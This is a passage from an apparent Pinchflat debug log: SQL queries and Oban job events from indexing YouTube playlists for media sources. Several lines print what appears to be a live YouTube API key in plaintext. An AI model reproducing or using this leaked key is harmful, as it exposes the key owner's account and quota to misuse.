AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:27:10.176 [debug] QUERY OK source="media_items" db=0.6ms idle=83.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [18, "rftUQzr5MNY", "pXjsYsJR8eU", "prJa6chyjqQ", "e8MxxudBYHk", "a_0XQWA15FI", "jTWFMDJ7DrI", "6U5VizZp2mM", "6CmauK9WXDI", "wgXSw9BpnpU", "i07HAgTz45c", "xM9S3yBulYw", "4Bm5-NIl_RA", "HthaE0RZOck", "kHXxl9yqdbE", "D4ozSz8ab_E", "JvrGuAU-eQ4", "4Nr6hiHbgAw", "EKRoREgXcaQ", "mzTwPwIQENg", "fc3rJ0sJsbI", "j5J9rO_2xsY", "dMCQgYjSoSw", "itGzr7HZl9I", "-anIMIYnyjc", "kPGIGgFI3_E", "5q_lWJSquoc", "Pukp9nKozE8", "sPDYpIlReGY", "LEyq9a84wuU", "ez1buVmEKLU", "Zy_i-7hOQ_c", "yipidSya0Gc", "XiHlv0w2zMo", "cYIiWIJ07co", "_uh9kNqfJzY", "IaadHU9ku_k", "qqcbiTuW6dw", "rsIwHYDhr8M", "5o-L5_zpUc4", "6WiVRluXP80", "qGc2FEC3Htw", "q2pmhQoEGIw", "1J4rDpbqXG8", "9H-9_FLOs7w", "84Bep8MqnRs", "tJvqC1EhOrY", "Rlec9tt_xDA", "PRVOTbvtqwE", "gN7dibXWGlM", ...] 16:27:10.177 [debug] QUERY OK source="media_items" db=0.7ms idle=84.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [18] 16:27:10.178 [debug] QUERY OK source="tasks" db=0.1ms idle=85.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799983, 18, ~U[2026-02-10 22:27:10Z], ~U[2026-02-10 22:27:10Z]] 16:27:10.178 [info] {"args":{"id":18},"id":3799944,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":180033,"event":"job:stop","queue_time":481237,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:27:10.313 [debug] QUERY OK source="media_items" db=0.7ms idle=134.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "KtQ9nt2ZeGM", "tCVsyY5TRQI", "oy7BrKNmZAQ", "INZybkX8tLI", "8I4Jc-WLsrs", "DAX2_mPr9W8", "ms8uu0zeU88", "Aytf6ARcs8s", "JzClLWL-Eys", "HFYWHeBhYbM", "SaKKzZRrPIg", "W96a8svXo14", "OSCOQ6vnLwU", "j_QfX0SYCE8", "OOK5xkFijPc", "QEJpZjg8GuA", "HnMuNCl7tZ8", "kTctVqjhDEw", "qSFNufruSKw", "6Ea6jf-9Czo", "dHskIsOYZ8s", "6h9JhW-m35o", "Namf-Ddo_Xo", "WkIR23emsWY", "zsA3X40nz9w", "CnMRePtHMZY", "CzJKxUCKOBg", "3-Q87w8uhwg", "XRCprhlz4D8", "uhbDfi7Ee7k", "YGT1EvmDJh4", "jHP942Livy0", "XeDCCNFAULk", "TLm7Q92xMjQ", "ff04ecF9Dfw", "ZcH0j7tOrDA", "DTsQjiPlksA", "AEm-2giH_zw", "E3p_Cv32tEo", "va1rzP2xIx4", "Limpr1L8Pss", "TBPVJtGBf8Y", "bis_4MT5SSo", "ue-1JoJQaEg", "vNj75gJVxcE", "Khp3wb0QMpQ", "ZJOfyMCEzjQ", "zb7Bs98KmnY", "8PTjPzw9VhY", ...] 16:27:10.315 [debug] QUERY OK source="media_items" db=0.4ms idle=135.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 16:27:10.315 [debug] QUERY OK source="tasks" db=0.0ms idle=131.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799984, 3, ~U[2026-02-10 22:27:10Z], ~U[2026-02-10 22:27:10Z]] 16:27:10.316 [info] {"args":{"id":3},"id":3799945,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":224032,"event":"job:stop","queue_time":505836,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:27:23.011 [info] {"args":{"id":36},"id":3799946,"meta":{},"system_time":1770762443011811762,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:27:23.012 [debug] QUERY OK source="sources" db=0.2ms idle=1133.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [36] 16:27:23.012 [debug] QUERY OK source="settings" db=0.2ms idle=1134.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:23.012 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1007.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:27:23.013 [debug] QUERY OK source="settings" db=0.1ms idle=6.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:23.013 [debug] Fetching recent media IDs from YouTube API for playlist: UUEcrRXW3oEYfUctetZTAWLw 16:27:23.013 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:23.013 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:27:23.117 [debug] QUERY OK source="media_items" db=0.6ms idle=104.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [36, "aIH7MZ1ZR8o", "SAywqmOO1tk", "zxa8quCs__I", "VUcJYnQNSX8", "o4gfcXlQ2SQ", "Sfycp2kvOQg", "TPqmGfulrfw", "YwhUHBpp6Ik", "B6Su6HUJNoY", "90uSWCHQaso", "v6Qazg9FCd8", "rGTSetnFRAk", "pmmEha5fbR4", "25Ica_QkHXY", "6-9PfdBo7vU", "P-rj56QjASc", "UxjEjOw0s8E", "mwM9ABnawTw", "mCwy1frO6MA", "oozugQHwDI4", "LFIu306va_c", "vJyv0rHJiq4", "7jZsenC-XC4", "4--zvaaKO3s", "Ga8RdTxzL2w", "7k_mPBs_F4k", "leFl8CfTOn4", "3AgrCN_VtEE", "X9ZXhDyBN4k", "uNDfc5domNY", "PBC4kkjS3P0", "BoYDhPVRorw", "tztHZ1qLTyw", "eNz6-B70WOs", "HRUVTzfqBTo", "K9V1c40vxu4", "OhM-qVsGG7w", "WVn1_qaUKOU", "rKFtrVF7CU8", "1Q8bHpz7aIo", "qoVFBOoVfJQ", "yFt223XU6Fs", "Eq8F6moYOjE", "q47Gom0X_sE", "YlCgi2Bozzo", "q3Astu36nx8", "a4z8Uv9RL9w", "XuNMN3_GGG4", "pvHELkFeMuM", ...] 16:27:23.118 [debug] QUERY OK source="media_items" db=0.7ms idle=105.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [36] 16:27:23.119 [debug] QUERY OK source="tasks" db=0.1ms idle=106.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799985, 36, ~U[2026-02-10 22:27:23Z], ~U[2026-02-10 22:27:23Z]] 16:27:23.119 [info] {"args":{"id":36},"id":3799946,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":107877,"event":"job:stop","queue_time":550111,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:27:28.181 [info] {"source":"oban","duration":10223,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:27:36.025 [info] {"args":{"id":23},"id":3799947,"meta":{},"system_time":1770762456025495917,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:27:36.025 [debug] QUERY OK source="sources" db=0.1ms idle=1147.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [23] 16:27:36.026 [debug] QUERY OK source="settings" db=0.1ms idle=1008.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:36.026 [debug] QUERY OK source="media_profiles" db=0.0ms idle=147.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:27:36.026 [debug] QUERY OK source="settings" db=0.0ms idle=7.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:36.026 [debug] Fetching recent media IDs from YouTube API for playlist: UU0e3QhIYukixgh5VVpKHH9Q 16:27:36.026 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:36.026 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:27:36.122 [debug] QUERY OK source="media_items" db=0.6ms idle=96.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [23, "kWFOeEB1qcI", "oLF_mxPfL0I", "2YdPIB7wVFk", "ehAStJmx_Fo", "wesICmc48UE", "t92i8HsHKmA", "AhqqnIvtCiw", "bt8BwJs2JWI", "EFaqLSDJh-s", "SCUu4xlZZgc", "8VrI0j3jXJ8", "QnMxWMpUpTo", "k2wddOfXMqY", "serCiKj8ze8", "eX8gUvcWwDc", "GfPmOqlxGfk", "eouZtZL_59U", "S_-YdPM_iiQ", "HbrC4U3oN38", "1f-rdFBrQE0", "rba0WnXY3_w", "hEapzP-_QlM", "AGO8Tn0g0qQ", "WYMAL4Ch6oQ", "25ctC3HDSnM", "CI8fbAiug3k", "I7vOcJcCSso", "RtzS0T6toww", "sWZJ6kRNw4g", "djIufZ7Fyms", "tn_SdPx3nyE", "QbwgQSwMSGM", "JPv5FWCYdXc", "g39AagVW0s0", "HMKKPMSuo08", "ZpsJkhk9uBM", "jIseIpxnKUM", "XzJ2qK5DX18", "a7mNUTslJNA", "ovIykchkW5I", "9amJuvb3grU", "qvpXpCvkqbc", "DmQ4Dqxs0HI", "ldaescGA1dY", "kzEHFuVeYS4", "D5xX6nRWDko", "XRVA5PMSKKE", "os4DcbpL0Nc", "QOJfyp0KMmM", ...] 16:27:36.123 [debug] QUERY OK source="media_items" db=0.2ms idle=97.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [23] 16:27:36.124 [debug] QUERY OK source="tasks" db=0.1ms idle=97.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799986, 23, ~U[2026-02-10 22:27:36Z], ~U[2026-02-10 22:27:36Z]] 16:27:36.124 [info] {"args":{"id":23},"id":3799947,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":98998,"event":"job:stop","queue_time":511956,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:27:38.026 [info] {"args":{"id":10},"id":3799948,"meta":{},"system_time":1770762458026825851,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:27:38.027 [info] {"args":{"id":34},"id":3799949,"meta":{},"system_time":1770762458026865205,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:27:38.027 [debug] QUERY OK source="sources" db=0.2ms idle=148.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 16:27:38.027 [debug] QUERY OK source="sources" db=0.1ms idle=148.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 16:27:38.027 [debug] QUERY OK source="settings" db=0.1ms idle=148.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:38.027 [debug] QUERY OK source="settings" db=0.2ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:38.027 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:27:38.027 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:27:38.028 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:38.028 [debug] Fetching recent media IDs from YouTube API for playlist: UUBJycsmduvYEL83R_U4JriQ 16:27:38.028 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:38.028 [debug] Fetching recent media IDs from YouTube API for playlist: UU6iWKC08iw9K-R6Wh5pbZNQ 16:27:38.028 [debug] QUERY OK source="settings" db=0.1ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:38.028 [debug] QUERY OK source="settings" db=0.1ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:38.028 [debug] Using 